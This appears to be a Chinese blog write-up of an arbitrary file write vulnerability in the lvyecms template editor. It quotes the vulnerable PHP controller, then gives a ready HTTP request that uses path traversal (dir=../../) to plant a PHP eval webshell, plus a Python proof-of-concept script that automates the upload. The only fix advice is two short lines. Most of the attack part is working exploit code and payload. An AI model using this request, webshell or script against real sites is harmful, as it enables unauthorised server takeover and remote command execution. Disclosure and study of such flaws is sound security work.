lvyecms任意文件写入
lvyecms是基于thinkphp框架进行开发,且后台新建模板处未对写入内容进行过滤,且文件名后缀写死为php文件,导致了任意文件写入漏洞。
问题出在\lvyecms\Application\Template\Controller\StyleController.class.php
我们直接看这个add函数
//添加模板
public function add() {
if (IS_POST) {
//取得文件名
$file = pathinfo(I('post.file'));
$file = $file['filename'] . C("TMPL_TEMPLATE_SUFFIX");
//模板内容
$content = \Input::getVar(I('post.content', '', ''));
//目录
$dir = TEMPLATE_PATH . I('post.dir', '', '');
$dir = str_replace(array("//"), array("/"), $dir);
//检查目录是否存在
if (!file_exists($dir)) {
$this->error("该目录不存在!");
}
//检查目录是否可写
if (!is_writable($dir)) {
$this->error('目录 ' . $dir . ' 不可写!');
}
//完整新增文件路径
$filepath = $dir . $file;
if (file_exists($filepath)) {
$this->error("该文件已经存在!");
}
//写入文件
$status = file_put_contents($filepath, htmlspecialchars_decode(stripslashes($content)));
if ($status) {
$this->success("保存成功!", U("Template/Style/index"));
} else {
$this->error("保存失败,请检查模板文件权限是否设置为可写!");
}
} else {
//取得目录路径
$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\', '.',), '', trim(urldecode($_GET['dir']))) : '';
$dir = str_replace("-", "/", $dir);
if (!file_exists(TEMPLATE_PATH . $dir)) {
$this->error('该目录不存在!');
}
$this->assign('dir', $dir);
$this->display();
}
}
这里可以很清楚的看到,他分别获取了文件名、文件路径以及文件内容。然后对文件名以及路径进行拼接,最后将内容写入到文件中。可以看到这个位置,没有对我们写入的值进行任何过滤,那么我们可以对路径以及文件内容进行修改,导致写入../../../文件的马。

复现
在功能处添加文件

抓到这个包,可以看到这个dir参数我们是可控,这里我们直接../../回溯到根目录,这里给空参数的话,我们是没有执行权限的。
POST /lvyecms/index.php?g=Template&m=Style&a=add HTTP/1.1 Host: 192.168.0.105 Content-Length: 72 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.105 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.105/lvyecms/index.php?g=Template&m=Style&a=add&dir= Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=h40bdv4mpeugub5r70tp1l6691; menuid=92 Connection: close dir=../../&file=test&content=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3E
可以看到这个木马已经被我们写入

测试连接

修复方式:
过滤../字符
对文件内容进行检索过滤
poc
#江楠风景好
import requests
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-u')
args = parser.parse_args()
def POST_data(url):
url1 = url + '?g=Template&m=Style&a=add'
with open('test.txt','r') as f:
file = f.read()
headers = {
'Content-Length': '78',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36',
'Accep': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': 'PHPSESSID=bcqgtgs0v57nseivd3kl7cbpt7; menuid=92',
'Connection': 'close'
}
data = {'dir': '../../',
'file': 'emoji',
'content': file}
r = requests.post(url=url1,data=data,headers=headers)
print(r)
POST_data(args.u)
每天都是经验+1+1的一天

浙公网安备 33010602011771号